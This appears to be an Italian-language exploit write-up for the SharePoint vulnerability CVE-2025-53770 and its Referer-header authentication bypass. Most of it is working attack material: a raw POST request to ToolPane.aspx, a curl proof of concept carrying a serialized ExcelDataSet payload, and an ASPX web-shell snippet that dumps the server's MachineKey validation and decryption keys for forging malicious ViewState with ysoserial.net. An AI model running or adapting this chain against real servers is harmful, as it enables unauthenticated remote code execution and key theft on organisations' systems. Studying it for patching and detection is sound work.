
CVE-2025-53770 - SharePoint
La deserializzazione di dati non attendibili in Microsoft SharePoint Server locale consente a un utente malintenzionato di eseguire codice in remoto e compromettere il sistema. Microsoft è a conoscenza dello sfruttamento attivo e sta preparando un aggiornamento completo. Verificare che le mitigazioni della documentazione CVE siano in vigore.
Si tratta di un'esecuzione remota di codice (RCE) critica. Sfrutta una deserializzazione non sicura di dati non attendibili, consentendo a un attaccante di eseguire codice arbitrario senza necessità di autenticazione.
È una vulnerabilità di bypass dell'autenticazione (spoofing) tramite manipolazione dell'header HTTP (in particolare il campo Referer), che consente di aggirare i controlli di accesso e di elevare fino alla RCE con il CVE-53770.
entrambi sostituiscono patch precedenti (CVE-2025-49704 e CVE-2025-49706), applicate a luglio, ma si sono rivelate incomplete, consentendo nuovi vettori di attacco.
1 - (Bypass dell'autenticazione): /layouts/15/ToolPane.aspx
Passo 1 – Effettuare una richiesta POST all'URL vulnerabile. Passo 2 – Caricare un file .aspx con codice che legga la MachineKey (come il tuo snippet). Passo 3 – Generare un ViewState malizioso utilizzando strumenti come ysoserial.net configurati con queste chiavi.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
La PoC seguente dimostra come un utente malintenzionato può sfruttare la vulnerabilità per estrarre e decodificare payload dannosi tramite l'endpoint vulnerabile.
Il dominio di destinazione è stato intenzionalmente sostituito con target.com.
Comando PoC 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
Comando reale utilizzato nell'analisi
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>